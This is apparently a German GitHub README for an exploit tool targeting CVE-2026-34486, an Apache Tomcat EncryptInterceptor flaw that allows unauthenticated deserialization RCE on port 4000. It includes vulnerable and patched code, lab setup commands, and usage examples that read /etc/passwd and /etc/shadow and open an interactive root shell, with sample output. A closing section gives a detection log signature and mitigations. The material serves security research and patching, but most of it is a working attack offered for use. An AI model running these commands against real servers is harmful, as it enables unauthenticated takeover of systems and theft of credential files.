
Exploit für die Umgehung des Apache Tomcat EncryptInterceptor, der zu nicht authentifizierter RCE über Java-Deserialisierung auf Port 4000 führt. Enthält Lab-Einrichtung, interaktive Shell und Erkennungsanleitung.
Apache Tomcat Tribes-Cluster-Kommunikationsmodul verwirft Nachrichten nicht, wenn die Entschlüsselung durch
EncryptInterceptorfehlschlägt, wodurch nicht authentifizierte Angreifer über Java-Deserialisierung auf Port 4000 Remote Code Execution auslösen können.
| Feld | Info |
|---|---|
| CVE-ID | CVE-2026-34486 |
| CVSS-Score | 7.5 (Hoch) |
| Komponente | Apache Tomcat Tribes EncryptInterceptor |
| Betroffene Versionen | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Behobene Versionen | 9.0.117 / 10.1.54 / 11.0.21 |
| Schwachstellentyp | Nicht authentifizierte Remote Code Execution über Deserialisierung |
| Angriffsvektor | Netzwerk / Keine Authentifizierung / Geringe Komplexität |
| Angriffsport | TCP 4000 (Tribes NioReceiver) |
Die Clustering-Funktion von Apache Tomcat verwendet das Tribes-Framework, um Sitzungsdaten zwischen Cluster-Knoten zu synchronisieren und lauscht standardmäßig auf TCP-Port 4000.
Wenn EncryptInterceptor (AES/CBC) aktiviert ist, besteht folgender Logikfehler:
// EncryptInterceptor.java — verwundbare Version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// entschlüsselte Nachricht verarbeiten...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // protokolliert nur den Fehler
}
super.messageReceived(msg); // ← FEHLER: Rohbytes werden auch nach fehlgeschlagener Entschlüsselung weitergeleitet
}
Der catch-Block protokolliert nur den Fehler. Da super.messageReceived(msg) außerhalb des try-catch liegt, werden die rohen unverschlüsselten Bytes an XByteBuffer.deserialize() → ObjectInputStream.readObject() weitergeleitet.
Ein Angreifer kann ein präpariertes Deserialisierungs-Payload senden, um ohne jegliche Authentifizierung RCE auszulösen.
Angreifer ──TCP:4000──► NioReceiver (keine Authentifizierung)
│
EncryptInterceptor.messageReceived()
try { AES/CBC-Entschlüsselung → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← nur Log-Eintrag
super.messageReceived(msg) ← FEHLER: Rohbytes passieren
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← Deserialisierung ausgelöst
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → RCE als root 🔴
Der Fix verschiebt super.messageReceived(msg) in den try-Block, sodass jede fehlgeschlagene Entschlüsselung dazu führt, dass die Nachricht stillschweigend verworfen wird (Fail-Closed).
// EncryptInterceptor.java — gepatchte Version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// verarbeiten...
super.messageReceived(msg); // ← BEHOBEN: wird nur erreicht, wenn die Entschlüsselung erfolgreich ist
} catch (Exception e) {
log.error("Failed to decrypt message", e); // Nachricht wird verworfen
}
}
java und javac im PATH)ysoserial-all.jarapache-tomcat-9.0.116 (für die Tribes-Bibliothek)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Überprüfen
curl http://localhost:8080
# Exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (für die Tribes-Bibliothek)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Überprüfen
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Ausgabe: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target Ziel-IP (Standard: 127.0.0.1)
-p, --port Tribes-Port (Standard: 4000)
--http-port HTTP-Port für den Abruf der Ausgabe (Standard: 8080)
-c, --command Befehl direkt ausführen (keine Shell-Funktionen)
--rce Befehl ausführen und Ausgabe über HTTP abrufen
--shell Interaktiver Shell-Modus
-g, --gadget Gadget-Kette (Standard: CommonsCollections6)
--ysoserial Pfad zur ysoserial-JAR
--tomcat-lib Pfad zum Tomcat-lib-Verzeichnis
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialisierung → RCE
Ziel : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Kompiliere TribesClient.java ...
[+] Erfolgreich kompiliert
[*] Generiere CommonsCollections6-Payload ...
[+] Payload: 1361 Bytes
[*] Sende Tribes-Frame → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame gesendet!
[*] Rufe Ergebnis ab: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
Der einzige vom Angriff hinterlassene Log-Eintrag:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
Es wird keine readObject-Ausnahme protokolliert — der Befehl wird still ausgeführt.
| Maßnahme | Priorität |
|---|---|
| Upgrade auf Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Kritisch |
| Port 4000 nur auf vertrauenswürdige Cluster-IPs beschränken | Hoch |
Logs auf wiederholte Failed to decrypt message-Einträge überwachen | Mittel |
| Tribes-Clustering deaktivieren, falls nicht benötigt | Hoch |
Dieses Projekt ist ausschließlich für autorisierte Sicherheitsforschung, Penetrationstests und Bildungszwecke bestimmt. Verwenden Sie dieses Tool nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
MIT-Lizenz © 2026 404-src